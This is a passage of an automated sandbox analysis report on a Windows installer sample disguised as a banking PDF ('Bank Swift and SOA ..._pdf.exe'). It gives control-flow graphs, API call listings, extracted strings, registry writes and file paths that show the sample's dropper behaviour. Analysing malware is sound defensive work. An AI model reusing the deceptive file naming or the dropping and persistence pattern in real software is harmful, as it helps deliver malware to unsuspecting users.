                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
                                                                                                            • String ID: "C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
                                                                                                            • API String ID: 914957316-415486685
                                                                                                            • Opcode ID: 8ef44c221ffc76618c9d3063fdfaa19d9e9f68cd4157665c5f0528a7ad94f78d
                                                                                                            • Instruction ID: b862c1471ebdc097eb7bd7ac0b5924faedec86185335dcace1f032bfb9465ac2
                                                                                                            • Opcode Fuzzy Hash: 8ef44c221ffc76618c9d3063fdfaa19d9e9f68cd4157665c5f0528a7ad94f78d
                                                                                                            • Instruction Fuzzy Hash: 5561B670604201BAE720AF669C46E3B3A6CEB45759F40453FF945B62E2CB786D02CA2D

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 309 403c57-403c69 310 403daa-403db9 309->310 311 403c6f-403c75 309->311 313 403e08-403e1d 310->313 314 403dbb-403e03 GetDlgItem * 2 call 40412f SetClassLongW call 40140b 310->314 311->310 312 403c7b-403c84 311->312 315 403c86-403c93 SetWindowPos 312->315 316 403c99-403c9c 312->316 318 403e5d-403e62 call 40417b 313->318 319 403e1f-403e22 313->319 314->313 315->316 321 403cb6-403cbc 316->321 322 403c9e-403cb0 ShowWindow 316->322 328 403e67-403e82 318->328 324 403e24-403e2f call 401389 319->324 325 403e55-403e57 319->325 329 403cd8-403cdb 321->329 330 403cbe-403cd3 DestroyWindow 321->330 322->321 324->325 340 403e31-403e50 SendMessageW 324->340 325->318 327 4040fc 325->327 335 4040fe-404105 327->335 333 403e84-403e86 call 40140b 328->333 334 403e8b-403e91 328->334 338 403cdd-403ce9 SetWindowLongW 329->338 339 403cee-403cf4 329->339 336 4040d9-4040df 330->336 333->334 343 403e97-403ea2 334->343 344 4040ba-4040d3 DestroyWindow EndDialog 334->344 336->327 341 4040e1-4040e7 336->341 338->335 345 403d97-403da5 call 404196 339->345 346 403cfa-403d0b GetDlgItem 339->346 340->335 341->327 350 4040e9-4040f2 ShowWindow 341->350 343->344 351 403ea8-403ef5 call 405f0c call 40412f * 3 GetDlgItem 343->351 344->336 345->335 347 403d2a-403d2d 346->347 348 403d0d-403d24 SendMessageW IsWindowEnabled 346->348 352 403d32-403d35 347->352 353 403d2f-403d30 347->353 348->327 348->347 350->327 379 403ef7-403efc 351->379 380 403eff-403f3b ShowWindow KiUserCallbackDispatcher call 404151 EnableWindow 351->380 357 403d43-403d48 352->357 358 403d37-403d3d 352->358 356 403d60-403d65 call 404108 353->356 356->345 360 403d7e-403d91 SendMessageW 357->360 362 403d4a-403d50 357->362 358->360 361 403d3f-403d41 358->361 360->345 361->356 365 403d52-403d58 call 40140b 362->365 366 403d67-403d70 call 40140b 362->366 377 403d5e 365->377 366->345 375 403d72-403d7c 366->375 375->377 377->356 379->380 383 403f40 380->383 384 403f3d-403f3e 380->384 385 403f42-403f70 GetSystemMenu EnableMenuItem SendMessageW 383->385 384->385 386 403f72-403f83 SendMessageW 385->386 387 403f85 385->387 388 403f8b-403fc9 call 404164 call 405eea lstrlenW call 405f0c SetWindowTextW call 401389 386->388 387->388 388->328 397 403fcf-403fd1 388->397 397->328 398 403fd7-403fdb 397->398 399 403ffa-40400e DestroyWindow 398->399 400 403fdd-403fe3 398->400 399->336 402 404014-404041 CreateDialogParamW 399->402 400->327 401 403fe9-403fef 400->401 401->328 403 403ff5 401->403 402->336 404 404047-40409e call 40412f GetDlgItem GetWindowRect ScreenToClient SetWindowPos call 401389 402->404 403->327 404->327 409 4040a0-4040b8 ShowWindow call 40417b 404->409 409->336
                                                                                                            APIs
                                                                                                            • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C93
                                                                                                            • ShowWindow.USER32(?), ref: 00403CB0
                                                                                                            • DestroyWindow.USER32 ref: 00403CC4
                                                                                                            • SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CE0
                                                                                                            • GetDlgItem.USER32(?,?), ref: 00403D01
                                                                                                            • SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403D15
                                                                                                            • IsWindowEnabled.USER32(00000000), ref: 00403D1C
                                                                                                            • GetDlgItem.USER32(?,00000001), ref: 00403DCA
                                                                                                            • GetDlgItem.USER32(?,00000002), ref: 00403DD4
                                                                                                            • SetClassLongW.USER32(?,000000F2,?), ref: 00403DEE
                                                                                                            • SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E3F
                                                                                                            • GetDlgItem.USER32(?,00000003), ref: 00403EE5
                                                                                                            • ShowWindow.USER32(00000000,?), ref: 00403F06
                                                                                                            • KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F18
                                                                                                            • EnableWindow.USER32(?,?), ref: 00403F33
                                                                                                            • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F49
                                                                                                            • EnableMenuItem.USER32(00000000), ref: 00403F50
                                                                                                            • SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F68
                                                                                                            • SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F7B
                                                                                                            • lstrlenW.KERNEL32(004226D0,?,004226D0,004281E0), ref: 00403FA4
                                                                                                            • SetWindowTextW.USER32(?,004226D0), ref: 00403FB8
                                                                                                            • ShowWindow.USER32(?,0000000A), ref: 004040EC
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
                                                                                                            • String ID:
                                                                                                            • API String ID: 3282139019-0
                                                                                                            • Opcode ID: d3e31c762ced5e7f3f9f31fdb6bfb00df4bf7f17a487b0a05df9e2eacf633d02
                                                                                                            • Instruction ID: 25e1393ee42f6df426570fd4a537ecf3dcaf9ce603c4882d15cf919a8637c385
                                                                                                            • Opcode Fuzzy Hash: d3e31c762ced5e7f3f9f31fdb6bfb00df4bf7f17a487b0a05df9e2eacf633d02
                                                                                                            • Instruction Fuzzy Hash: 2FC1A071A08205BBDB206F61ED49E3B3A68FB89745F40053EF601B15F1CB799852DB2E

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 412 402dbc-402e0a GetTickCount GetModuleFileNameW call 405b56 415 402e16-402e44 call 405eea call 405981 call 405eea GetFileSize 412->415 416 402e0c-402e11 412->416 424 402f34-402f42 call 402d1a 415->424 425 402e4a-402e61 415->425 417 40305b-40305f 416->417 432 403013-403018 424->432 433 402f48-402f4b 424->433 427 402e63 425->427 428 402e65-402e72 call 4032f9 425->428 427->428 434 402e78-402e7e 428->434 435 402fcf-402fd7 call 402d1a 428->435 432->417 436 402f77-402fc3 GlobalAlloc call 406370 call 405b85 CreateFileW 433->436 437 402f4d-402f65 call 40330f call 4032f9 433->437 438 402e80-402e98 call 405b11 434->438 439 402efe-402f02 434->439 435->432 463 402fc5-402fca 436->463 464 402fd9-403009 call 40330f call 403062 436->464 437->432 460 402f6b-402f71 437->460 444 402f0b-402f11 438->444 458 402e9a-402ea1 438->458 443 402f04-402f0a call 402d1a 439->443 439->444 443->444 450 402f13-402f21 call 406302 444->450 451 402f24-402f2e 444->451 450->451 451->424 451->425 458->444 462 402ea3-402eaa 458->462 460->432 460->436 462->444 465 402eac-402eb3 462->465 463->417 472 40300e-403011 464->472 465->444 467 402eb5-402ebc 465->467 467->444 469 402ebe-402ede 467->469 469->432 471 402ee4-402ee8 469->471 474 402ef0-402ef8 471->474 475 402eea-402eee 471->475 472->432 473 40301a-40302b 472->473 476 403033-403038 473->476 477 40302d 473->477 474->444 478 402efa-402efc 474->478 475->424 475->474 479 403039-40303f 476->479 477->476 478->444 479->479 480 403041-403059 call 405b11 479->480 480->417
                                                                                                            APIs
                                                                                                            • GetTickCount.KERNEL32 ref: 00402DD0
                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe,00000400), ref: 00402DEC
                                                                                                              • Part of subcall function 00405B56: GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe,80000000,00000003), ref: 00405B5A
                                                                                                              • Part of subcall function 00405B56: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C
                                                                                                            • GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe,C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe,80000000,00000003), ref: 00402E35
                                                                                                            • GlobalAlloc.KERNELBASE(00000040,00409230), ref: 00402F7C
                                                                                                            Strings
                                                                                                            • Null, xrefs: 00402EB5
                                                                                                            • Inst, xrefs: 00402EA3
                                                                                                            • Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403013
                                                                                                            • soft, xrefs: 00402EAC
                                                                                                            • Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402FC5
                                                                                                            • C:\Users\user\AppData\Local\Temp\, xrefs: 00402DC9, 00402F94
                                                                                                            • "C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe", xrefs: 00402DC5
                                                                                                            • C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe, xrefs: 00402DD6, 00402DE5, 00402DF9, 00402E16
                                                                                                            • Error launching installer, xrefs: 00402E0C
                                                                                                            • C:\Users\user\Desktop, xrefs: 00402E17, 00402E1C, 00402E22
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
                                                                                                            • String ID: "C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
                                                                                                            • API String ID: 2803837635-3277876532
                                                                                                            • Opcode ID: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
                                                                                                            • Instruction ID: 37f794aabb7b6cc22e4429bd010eaec377b65274dead3bcbf73b1a6bf24b43e2
                                                                                                            • Opcode Fuzzy Hash: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
                                                                                                            • Instruction Fuzzy Hash: FB610571940205ABDB20AF65DD89BAE3AB8EB04359F20417BF505B32D1C7BC9E41DB9C

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 609 401752-401777 call 402b3a call 4059ac 614 401781-401793 call 405eea call 405935 lstrcatW 609->614 615 401779-40177f call 405eea 609->615 620 401798-401799 call 40617e 614->620 615->620 624 40179e-4017a2 620->624 625 4017a4-4017ae call 40622d 624->625 626 4017d5-4017d8 624->626 633 4017c0-4017d2 625->633 634 4017b0-4017be CompareFileTime 625->634 627 4017e0-4017fc call 405b56 626->627 628 4017da-4017db call 405b31 626->628 636 401870-401899 call 405194 call 403062 627->636 637 4017fe-401801 627->637 628->627 633->626 634->633 649 4018a1-4018ad SetFileTime 636->649 650 40189b-40189f 636->650 638 401852-40185c call 405194 637->638 639 401803-401841 call 405eea * 2 call 405f0c call 405eea call 4056c6 637->639 651 401865-40186b 638->651 639->624 671 401847-401848 639->671 653 4018b3-4018be CloseHandle 649->653 650->649 650->653 654 4029d0 651->654 656 4018c4-4018c7 653->656 657 4029c7-4029ca 653->657 658 4029d2-4029d6 654->658 661 4018c9-4018da call 405f0c lstrcatW 656->661 662 4018dc-4018df call 405f0c 656->662 657->654 668 4018e4-402243 call 4056c6 661->668 662->668 668->658 671->651 673 40184a-40184b 671->673 673->638
                                                                                                            APIs
                                                                                                            • lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet,?,?,00000031), ref: 00401793
                                                                                                            • CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet,?,?,00000031), ref: 004017B8
                                                                                                              • Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7
                                                                                                              • Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
                                                                                                              • Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
                                                                                                              • Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
                                                                                                              • Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
                                                                                                            • String ID: C:\Users\user\AppData\Local\Temp\nsh20B3.tmp$C:\Users\user\AppData\Local\Temp\nsh20B3.tmp\System.dll$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$Call
                                                                                                            • API String ID: 1941528284-3548329810
                                                                                                            • Opcode ID: d911f2a5e86815fddb17de9d1bc7295e402278fca2ec962f4dae8fec1f8af932
                                                                                                            • Instruction ID: bc5e94bc6114b027384bbb583ab77f55914405742357509a7a45d2f14902e26b
                                                                                                            • Opcode Fuzzy Hash: d911f2a5e86815fddb17de9d1bc7295e402278fca2ec962f4dae8fec1f8af932
                                                                                                            • Instruction Fuzzy Hash: 0541A071900515BACF10BBB5CC46DAF7A78EF05368B20863BF521B11E2D73C8A419A6E

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 675 402573-402588 call 402b1d 678 4029c7-4029ca 675->678 679 40258e-402595 675->679 682 4029d0-4029d6 678->682 680 402597 679->680 681 40259a-40259d 679->681 680->681 683 4025a3-4025b2 call 405e4a 681->683 684 4026e6-4026ee 681->684 683->684 688 4025b8 683->688 684->678 689 4025be-4025c2 688->689 690 402657-402667 call 405bd9 689->690 691 4025c8-4025e3 ReadFile 689->691 690->684 696 402669 690->696 691->684 693 4025e9-4025ee 691->693 693->684 695 4025f4-402602 693->695 697 4026a2-4026ae call 405e31 695->697 698 402608-40261a MultiByteToWideChar 695->698 699 40266c-40266f 696->699 697->682 698->696 701 40261c-40261f 698->701 699->697 702 402671-402676 699->702 704 402621-40262c 701->704 705 4026b3-4026b7 702->705 706 402678-40267d 702->706 704->699 707 40262e-402653 SetFilePointer MultiByteToWideChar 704->707 710 4026d4-4026e0 SetFilePointer 705->710 711 4026b9-4026bd 705->711 706->705 709 40267f-402692 706->709 707->704 708 402655 707->708 708->696 709->684 714 402694-40269a 709->714 710->684 712 4026c5-4026d2 711->712 713 4026bf-4026c3 711->713 712->684 713->710 713->712 714->689 715 4026a0 714->715 715->684
                                                                                                            APIs
                                                                                                            • ReadFile.KERNELBASE(?,?,?,?), ref: 004025DB
                                                                                                            • MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
                                                                                                            • SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
                                                                                                            • MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F
                                                                                                              • Part of subcall function 00405BD9: ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED
                                                                                                              • Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: File$ByteCharMultiReadWide$Pointerwsprintf
                                                                                                            • String ID: 9
                                                                                                            • API String ID: 1149667376-2366072709
                                                                                                            • Opcode ID: e497fc0f6c600e964b9f2122c9ab3848d05cefc5a36f71c7b66b32dfb87a2e9e
                                                                                                            • Instruction ID: 2cb5264777941c8734ead6492e5e892e31f06070e548dc8493562ac8cc7c1c9a
                                                                                                            • Opcode Fuzzy Hash: e497fc0f6c600e964b9f2122c9ab3848d05cefc5a36f71c7b66b32dfb87a2e9e
                                                                                                            • Instruction Fuzzy Hash: B551E971E04209ABDF24DF94DE88AAEB779FF04304F50443BE501B62D0D7B99A42CB69

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 716 40317d-4031a6 GetTickCount 717 4032e7-4032ef call 402d1a 716->717 718 4031ac-4031d7 call 40330f SetFilePointer 716->718 723 4032f1-4032f6 717->723 724 4031dc-4031ee 718->724 725 4031f0 724->725 726 4031f2-403200 call 4032f9 724->726 725->726 729 403206-403212 726->729 730 4032d9-4032dc 726->730 731 403218-40321e 729->731 730->723 732 403220-403226 731->732 733 403249-403265 call 406390 731->733 732->733 734 403228-403248 call 402d1a 732->734 739 4032e2 733->739 740 403267-40326f 733->740 734->733 741 4032e4-4032e5 739->741 742 403271-403287 WriteFile 740->742 743 4032a3-4032a9 740->743 741->723 745 403289-40328d 742->745 746 4032de-4032e0 742->746 743->739 744 4032ab-4032ad 743->744 744->739 747 4032af-4032c2 744->747 745->746 748 40328f-40329b 745->748 746->741 747->724 749 4032c8-4032d7 SetFilePointer 747->749 748->731 750 4032a1 748->750 749->717 750->747
                                                                                                            APIs
                                                                                                            • GetTickCount.KERNEL32 ref: 00403192
                                                                                                              • Part of subcall function 0040330F: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE7,?), ref: 0040331D
                                                                                                            • SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000), ref: 004031C5
                                                                                                            • WriteFile.KERNELBASE(0040BE78,0040E666,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?), ref: 0040327F
                                                                                                            • SetFilePointer.KERNELBASE(0000668A,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E), ref: 004032D1
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: File$Pointer$CountTickWrite
                                                                                                            • String ID: f@$x>A
                                                                                                            • API String ID: 2146148272-2394347292
                                                                                                            • Opcode ID: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
                                                                                                            • Instruction ID: e2b2982e6b1d623d5d036838b7619e310c478df2cbc778b1b7af49cc7c53be0d
                                                                                                            • Opcode Fuzzy Hash: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
                                                                                                            • Instruction Fuzzy Hash: 2A41AC72504201DFDB10AF29ED848A63BACFB54315720827FE910B22E0D7799D81DBED

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 751 402331-402377 call 402c2f call 402b3a * 2 RegCreateKeyExW 758 4029c7-4029d6 751->758 759 40237d-402385 751->759 761 402387-402394 call 402b3a lstrlenW 759->761 762 402398-40239b 759->762 761->762 765 4023ab-4023ae 762->765 766 40239d-4023aa call 402b1d 762->766 767 4023b0-4023ba call 403062 765->767 768 4023bf-4023d3 RegSetValueExW 765->768 766->765 767->768 772 4023d5 768->772 773 4023d8-4024b2 RegCloseKey 768->773 772->773 773->758 776 402793-40279a 773->776 776->758
                                                                                                            APIs
                                                                                                            • RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
                                                                                                            • lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsh20B3.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
                                                                                                            • RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsh20B3.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsh20B3.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC
                                                                                                            Strings
